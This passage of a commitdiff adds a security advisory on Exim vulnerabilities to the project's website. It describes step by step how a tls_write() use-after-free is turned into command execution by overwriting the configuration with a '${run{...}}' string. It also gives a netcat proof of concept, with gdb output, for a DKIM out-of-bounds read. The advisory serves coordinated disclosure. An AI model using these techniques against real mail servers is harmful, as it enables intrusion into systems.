+------------------------------------------------------------------------
+ 29 typedef struct gstring {
+ 30 int size; /* Current capacity of string memory */
+ 31 int ptr; /* Offset at which to append further chars */
+ 32 uschar * s; /* The string memory */
+ 33 } gstring;
+------------------------------------------------------------------------
+
+- at line 2948, a pointer to the struct gstring is saved to a local
+ static variable, server_corked.
+
+Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then
+store_reset() is called and frees all allocated POOL_MAIN memory, but
+server_corked is not reset to NULL: if tls_write() is called again, the
+struct gstring and its string buffer are used-after-free.
+
+Side note: another use-after-free, CVE-2017-16943, was discovered by Meh
+Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2199).
+
+------------------------------------------------------------------------
+Exploitation
+------------------------------------------------------------------------
+
+To reliably control this vulnerability, we must prevent Exim from
+calling tls_write() between our call to smtp_reset() and the actual
+use-after-free:
+
+- first, we send EHLO and STARTTLS (to initiate a TLS connection);
+
+- second, we send EHLO and "MAIL FROM:<>\nNO" (to pipeline the first
+ half of a NOOP command, and to buffer the response to our MAIL FROM
+ command in tls_write());
+
+- third, we terminate the TLS connection (and fall back to cleartext)
+ and send "OP\n" (the second half of our pipelined NOOP command);
+
+- next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to
+ re-initiate a TLS connection);
+
+- last, server_corked is used-after-free (in tls_write()) in response to
+ any SMTP command that we send.
+
+This use-after-free of a struct gstring (server_corked) and its string
+buffer (server_corked->s) is the most powerful vulnerability in this
+advisory:
+
+1/ We overwrite the string buffer (which is sent to us by tls_write())
+and transform this use-after-free into an information leak (we leak
+pointers to the heap).
+
+2/ We overwrite the struct gstring (with an arbitrary string pointer and
+size) and transform the use-after-free into a read-what-where primitive:
+we read the heap until we locate Exim's configuration.
+
+3/ We overwrite the struct gstring (with an arbitrary string pointer)
+and transform the use-after-free into a write-what-where primitive: we
+overwrite Exim's configuration with an arbitrary "${run{command}}" that
+is executed by expand_string() as the "exim" user (Digression 2).
+
+We use a few noteworthy tricks in our exploit:
+
+1/ Information leak: To overwrite the string buffer without overwriting
+the struct gstring itself, we send several pipelined RCPT TO commands to
+re-allocate the string buffer (far away from the struct gstring), and
+overwrite it with header_line structures that contain pointers to the
+heap.
+
+2/ Read-what-where: We overwrite the struct gstring with arbitrary
+binary data through the name=value parameter of a MAIL FROM command:
+
+- we overwrite the s member with a pointer to the memory that we want to
+ read (a pointer to the heap);
+
+- we overwrite the ptr member with the number of bytes that we want to
+ read;
+
+- we overwrite the size member with the same number as ptr to prevent
+ string_catn() from writing to the memory that we want to read (at line
+ 2940 in tls_write()).
+
+3/ Write-what-where: We overwrite the struct gstring with arbitrary
+binary data through the name=value parameter of a MAIL FROM command:
+
+- we overwrite the s member with a pointer to the memory that we want to
+ overwrite (a pointer to Exim's configuration);
+
+- we overwrite the ptr member with 0 and the size member with a large
+ arbitrary number;
+
+- finally, we send a MAIL FROM command whose response overwrites Exim's
+ configuration with our arbitrary "${run{...}}" (which is eventually
+ executed by expand_string()).
+
+Note: Debian's Exim packages are built with GnuTLS, not OpenSSL; to
+rebuild them with OpenSSL, we followed the detailed instructions at
+https://gist.github.com/ryancdotorg/11025731.
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.90:
+
+------------------------------------------------------------------------
+commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a
+Date: Fri May 19 22:55:25 2017 +0100
+...
++static uschar * corked = NULL;
++static int c_size = 0, c_len = 0;
+...
++if (is_server && (more || corked))
++ {
++ corked = string_catn(corked, &c_size, &c_len, buff, len);
++ if (more)
++ return len;
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
+========================================================================
+
+By default since Exim 4.70, receive_msg() calls
+dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail)
+signatures, which calls pdkim_feed_finish(), which calls
+pdkim_finish_bodyhash():
+
+------------------------------------------------------------------------
+ 788 static void
+ 789 pdkim_finish_bodyhash(pdkim_ctx * ctx)
+ 790 {
+ ...
+ 799 for (pdkim_signature * sig = ctx->sig; sig; sig = sig->next)
+ 800 {
+ ...
+ 825 if ( sig->bodyhash.data
+ 826 && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
+ 827 {
+ ...
+ 829 }
+ 830 else
+ 831 {
+ ...
+ 838 sig->verify_status = PDKIM_VERIFY_FAIL;
+ 839 sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
+ 840 }
+ 841 }
+ 842 }
+------------------------------------------------------------------------
+
+Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled
+(through a "DKIM-Signature:" mail header) and memcmp() is called without
+checking first that sig->bodyhash.len is equal to b->bh.len: memcmp()
+can read sig->bodyhash.data out-of-bounds.
+
+If the acl_smtp_dkim is set (it is unset by default), an unauthenticated
+remote attacker may transform this vulnerability into an information
+disclosure; we have not fully explored this possibility.
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+echo 'RCPT TO:postmaster';
+sleep 3;
+echo 'DATA';
+sleep 30;
+printf 'DKIM-Signature:a=rsa-sha512;bh=QUFB\r\n\r\nXXX\r\n.\r\n';
+sleep 30
+) | nc -n -v 192.168.56.101 25
+
+Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=<optimized out>) at pdkim.c:825
+(gdb) print sig->bodyhash
+$2 = {data = 0x55e181b9ed10 "AAA", len = 3}
+(gdb) print b->bh.len
+$3 = 64
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.70:
+
+------------------------------------------------------------------------
+commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543
+Date: Wed Jun 10 07:34:04 2009 +0000
+...
++ if (memcmp(bh,sig->bodyhash,
++ (sig->algo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) {
+------------------------------------------------------------------------
+
+
+
+========================================================================
+Acknowledgments
+========================================================================
+
+We thank Exim's developers for their hard work on this security release.
+We thank Mitre's CVE Assignment Team for their quick responses to our
+requests. We thank Damien Miller for his kind answers to our seteuid()
+questions. We also thank the members of distros@openwall.
+
+
+
+========================================================================
+Timeline (abridged)
+========================================================================
+
+2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we
+audited central parts of the code, discovered multiple vulnerabilities,
+and are working on an advisory. Exim immediately acknowledged our mail.
+
+2020-10-28: We sent the first draft of our advisory to Exim. They
+immediately acknowledged our mail, and started to work on patches.
+
+2020-10-29: We sent a list of 10 secondary issues to Exim (to the best
+of our knowledge, these issues are not CVE-worthy).
+
+2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the
+same day, and we immediately transmitted them to Exim.
+
+2020-11-13: Exim gave us read access to their private Git repository. We
+started reviewing their first set of patches (which tackled 7 CVEs).
+
+2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim
+(several patches were incomplete).
+
+2020-12-02: A second set of patches (which tackled 7 secondary issues)
+appeared in Exim's private Git repository. We started reviewing it.
+
+2020-12-09: We sent our second patch review to Exim.
+
+2021-01-28: We mailed Exim and offered to work on the incomplete and
+missing patches (the last commit in Exim's private Git repository dated
+from 2020-12-02).
+
+2021-02-05: Exim acknowledged our mail. We started to write a minimal
+but complete set of patches (on top of exim-4.94+fixes).
+
+2021-02-15: While working on a patch for CVE-2020-28014, we discovered
+CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a
+heads-up to Exim.
+
+2021-02-24: We completed our minimal set of patches and sent it to Exim.
+
+2021-04-17: Exim proposed 2021-05-04 for the Coordinated Release Date.
+
+2021-04-19: We accepted the proposed Coordinated Release Date.
+
+2021-04-21: Exim publicly announced the impending security release.
+
+2021-04-27: Exim provided packagers and maintainers (including
+distros@openwall) with access to their security Git repository.
+
+2021-04-28: We sent a draft of our advisory and our minimal set of
+patches to distros@openwall.
+
+2021-05-04: Coordinated Release Date (13:30 UTC).
+
git://git.exim.org / exim-website.git / commitdiff